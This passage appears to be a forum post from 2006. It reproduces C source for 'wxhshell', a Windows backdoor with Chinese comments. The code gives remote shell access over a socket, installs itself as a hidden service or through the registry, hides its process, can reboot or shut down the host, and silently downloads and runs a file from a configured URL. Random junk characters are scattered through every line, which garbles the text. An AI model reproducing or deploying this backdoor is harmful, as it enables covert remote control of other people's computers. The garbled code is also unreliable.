      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3{Nbp  
    break; %rQuBi# 1f  
  } `\>.h  
  // 安装 Lr;(xw\['  
  case 'i': { z~6y+  
    if(Install()) z1OFcqm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UQ Co}vM  
    else k?nQ?B W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w-B^ [<  
    break; R  
    } Q }k.JS~#  
  // 卸载 8Chj w wB  
  case 'r': { !4@G3Ae22  
    if(Uninstall()) #4LFG\s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ 0|a;  
    else U09.Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q=HHNjj8  
    break; 0x2!<z  
    } A?5E2T1L%.  
  // 显示 wxhshell 所在路径 4S0>-?{  
  case 'p': { ewNz%_2  
    char svExeFile[MAX_PATH]; Myat{OF  
    strcpy(svExeFile,"\n\r"); dth&?/MERL  
      strcat(svExeFile,ExeFile); Is<"OQ  
        send(wsh,svExeFile,strlen(svExeFile),0); 1&=0Wg0ig  
    break; f},oj4P\  
    } ^he=)rBb?  
  // 重启 >M!xiQX  
  case 'b': { |iFVh$N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~`;rNnOT3  
    if(Boot(REBOOT)) Q\ ^[!|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UCrh/bTm  
    else { 3CjL\pIC  
    closesocket(wsh); 7)rWw<mY  
    ExitThread(0); l7(!`NPbC  
    } !33#. @[  
    break; gCd`pi 8  
    } `[#x_<\t  
  // 关机 07T70[G  
  case 'd': { [36,eK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u]^N&2UW  
    if(Boot(SHUTDOWN)) [mxTa\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dz=k7zRg"  
    else { Rr(* aC2P  
    closesocket(wsh); +!-~yf#RE  
    ExitThread(0); iyZZ}M  
    } ylf[/='0K  
    break; Sgb*tE)T  
    } u D 5%E7  
  // 获取shell TfxwVPX  
  case 's': { ,''cNV  
    CmdShell(wsh); jg  2qGC  
    closesocket(wsh); .UCt|> $  
    ExitThread(0); ER2GjZa\z  
    break; V5"CSMe  
  } s}&bJ"!Z  
  // 退出 RIM`omM  
  case 'x': { "yz iXT@V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d &cU*  
    CloseIt(wsh); SQsSa1  
    break; SDG-~(Y  
    } x)rlyjFM  
  // 离开 ? Q@kg  
  case 'q': { PMsz`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XB hb`AG  
    closesocket(wsh); @Fv=u  
    WSACleanup(); ){s*n=KIO  
    exit(1); :Br5a34q  
    break; <O?y-$~  
        } ;cQW sTfT  
  } O u>u %  
  } q+SD6qM  
1PaUI#X"2F  
  // 提示信息 A \rt6/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q0?\]2eet9  
} gIWrlIV{9  
  } mAgF73,3  
L(;WxHL  
  return;  , iNv'  
} JN/UUfj  
4Ph0:^i_  
// shell模块句柄 vP%tk s+.  
int CmdShell(SOCKET sock) ~ jU/<~s  
{ \u-0v.+|  
STARTUPINFO si; 80}+MWdo  
ZeroMemory(&si,sizeof(si)); "}WJd$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +@9gkPQQ-@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6q<YJ.,  
PROCESS_INFORMATION ProcessInfo; yAT^VRbv  
char cmdline[]="cmd"; {s?M*_{|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .%EL\2  
  return 0; |s7`F%  
} )'4P.>!!aQ  
0oA{Jix  
// 自身启动模式 qM4c]YIaSl  
int StartFromService(void) lA!"z~03*  
{ 3:/'t{ ^B  
typedef struct :6J +%(f  
{ i>L+gLW  
  DWORD ExitStatus; Uk*IpP`  
  DWORD PebBaseAddress; )O+}T5c=  
  DWORD AffinityMask; lv0nEj8F  
  DWORD BasePriority; -F&U  
  ULONG UniqueProcessId; lLq<xf  
  ULONG InheritedFromUniqueProcessId; .%BT,$1K  
}   PROCESS_BASIC_INFORMATION; Mk 0+D#  
8eIUsI.o  
PROCNTQSIP NtQueryInformationProcess; +'@+x'/{^  
2'jOP" G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #qU-j/Qf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gbOpj3  
!{et8F@d|  
  HANDLE             hProcess; E "iUq  
  PROCESS_BASIC_INFORMATION pbi; SEwku}  
2Q7R6*<N:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <F7kh[L_x  
  if(NULL == hInst ) return 0; <`X"}I3 ba  
v!3A9!.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "eWk#/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =.<@`1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WS-dS6Q}  
0|xIBg)  
  if (!NtQueryInformationProcess) return 0; qL6c`(0  
"@@I!RwA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [97:4.  
  if(!hProcess) return 0; A,-6|&F  
;a=w5,h:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?PA$Ur21lw  
A , CW_  
  CloseHandle(hProcess); f|A riM  
75nNh~?)\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jk|Q`h  
if(hProcess==NULL) return 0; A61^[Y,dX_  
M j-vgn&/  
HMODULE hMod; {_N,=DQ!  
char procName[255]; vE6mOM!_L  
unsigned long cbNeeded; ~0$NJrUy  
-\ZcOXpMx=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C`=p +2I]  
r;9 r!$d  
  CloseHandle(hProcess); 7*Qk`*Ii  
y4Z &@,_{  
if(strstr(procName,"services")) return 1; // 以服务启动 $CTSnlPq  
*b *G2f^  
  return 0; // 注册表启动 e+v({^k  
} n8=5-7UT  
# ,uya2!)  
// 主模块 m p<1yY]  
int StartWxhshell(LPSTR lpCmdLine) <99M@ cF  
{ ]Y6cwZOe  
  SOCKET wsl; -m'j]1  
BOOL val=TRUE; ^2d!*W|  
  int port=0; AT2v!mNyCw  
  struct sockaddr_in door; K/m3  
VUTacA Y>L  
  if(wscfg.ws_autoins) Install(); ?7:KphFX)  
mS>xGtD&K  
port=atoi(lpCmdLine); 0.$hn  
Rtb :nJ8  
if(port<=0) port=wscfg.ws_port; v}@xlB=  
M7f;Pa  
  WSADATA data; h1 WT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sAo& uZ  
?oZR.D|SZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qbrpP(.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WPZ?*Sx  
  door.sin_family = AF_INET; u$%t)2+$4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U<XSj#&8|  
  door.sin_port = htons(port); *vgl*k?)  
R(.}C)q3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +[\eFj|=  
closesocket(wsl); $,I q;*7N  
return 1; zX5!vaEv  
} [' z[  
7\_o.(g#-  
  if(listen(wsl,2) == INVALID_SOCKET) { 4tg<iH{  
closesocket(wsl); XxHx:mi  
return 1; w6`9fX6{h  
} 5tQ1fJze  
  Wxhshell(wsl); aKU*j9A?;Z  
  WSACleanup(); Q 4CjA3  
#T`t79*N  
return 0; 8x`.26p  
(mxT2"fC  
} Ehz o05/!  
Va Z!.#(P  
// 以NT服务方式启动 pEECHk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y|8v O  
{ \xg]oKbn  
DWORD   status = 0; Y`+=p@2O2o  
  DWORD   specificError = 0xfffffff; k6`6Mjbc  
L lqM c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }QZQ3@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G!4(BGx&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zf3v5Hk  
  serviceStatus.dwWin32ExitCode     = 0; yH][(o=2  
  serviceStatus.dwServiceSpecificExitCode = 0; 9nu3+.&P  
  serviceStatus.dwCheckPoint       = 0; J0zn-  
  serviceStatus.dwWaitHint       = 0; +C7 ~b~ %  
zMIT}$L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zmbfq8K  
  if (hServiceStatusHandle==0) return; dr4Z5mw"E  
^Rm  
status = GetLastError(); No2b" G@  
  if (status!=NO_ERROR) t1E[uu,V8  
{ }b1cLchl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CJ}5T]WZ  
    serviceStatus.dwCheckPoint       = 0; @FdSFQ/9  
    serviceStatus.dwWaitHint       = 0; #plY\0E@  
    serviceStatus.dwWin32ExitCode     = status; ~>9_(L  
    serviceStatus.dwServiceSpecificExitCode = specificError; lKk/p^:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q)"A-"y  
    return; &.TTJsKG h  
  } U%0Ty|$Y   
cqxVAzb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UH7jP#W%=  
  serviceStatus.dwCheckPoint       = 0; Z{?G.L*/  
  serviceStatus.dwWaitHint       = 0; s3Cc;#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jk,;JQ  
} = k\J<  
:qC '$dO!  
// 处理NT服务事件,比如:启动、停止 r1RGTEkD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +{sqcr1G  
{ s/089jlc  
switch(fdwControl) )O:0 ]=#))  
{ h gJ[LU|>  
case SERVICE_CONTROL_STOP: |>@W ]CX[  
  serviceStatus.dwWin32ExitCode = 0; @{Gncy|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E 7-@&=]v  
  serviceStatus.dwCheckPoint   = 0; \"hJCP?,  
  serviceStatus.dwWaitHint     = 0; A!^q J#  
  { &^ 4++  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qZ@s#UiB  
  } w3jO6*_ M  
  return; vq34/c^  
case SERVICE_CONTROL_PAUSE: =B. F;4 0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !?Wp+e6  
  break; }@.|?2b +  
case SERVICE_CONTROL_CONTINUE: FLEo*9u>b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ||yzt!n  
  break; J90v!p-  
case SERVICE_CONTROL_INTERROGATE: 7gRgOzWfV  
  break; #Fyuf,hw4  
}; LdJYE;k Ju  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! VjFW5'{  
} S*yjee<@  
BT}&Y6  
// 标准应用程序主函数 eYx Kp!f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $AHQmyg<  
{ EqI(|bFwy  
=-p$jXVW%  
// 获取操作系统版本 7g_]mG [6  
OsIsNt=GetOsVer(); 'uy/o)L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w&ak"GgV  
O*#*%RL|  
  // 从命令行安装 vTn}*d.K=  
  if(strpbrk(lpCmdLine,"iI")) Install(); iYC9eEF  
ToYAW,U[d  
  // 下载执行文件 47J5oPT2'  
if(wscfg.ws_downexe) { $\9~)Rq6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8V~vXnkM  
  WinExec(wscfg.ws_filenam,SW_HIDE);  T Q,?>6n  
} 4*$G & TX  
e1P"[|9>R  
if(!OsIsNt) { y!xE<S&Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 {z|;Xi::"  
HideProc(); 0wS+++n$5  
StartWxhshell(lpCmdLine); Y".RPiTL  
} * RtgC/  
else Sfdu`MQR  
  if(StartFromService()) *g^x*|f6  
  // 以服务方式启动 ,i@X'<;y  
  StartServiceCtrlDispatcher(DispatchTable); +@r*}  
else f5` g  
  // 普通方式启动 _o8 ?E&d  
  StartWxhshell(lpCmdLine); o=1X^,  
/&4U6a  
return 0; G}p\8Q}'  
}
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只看该作者 1 发表于: 2006-10-10
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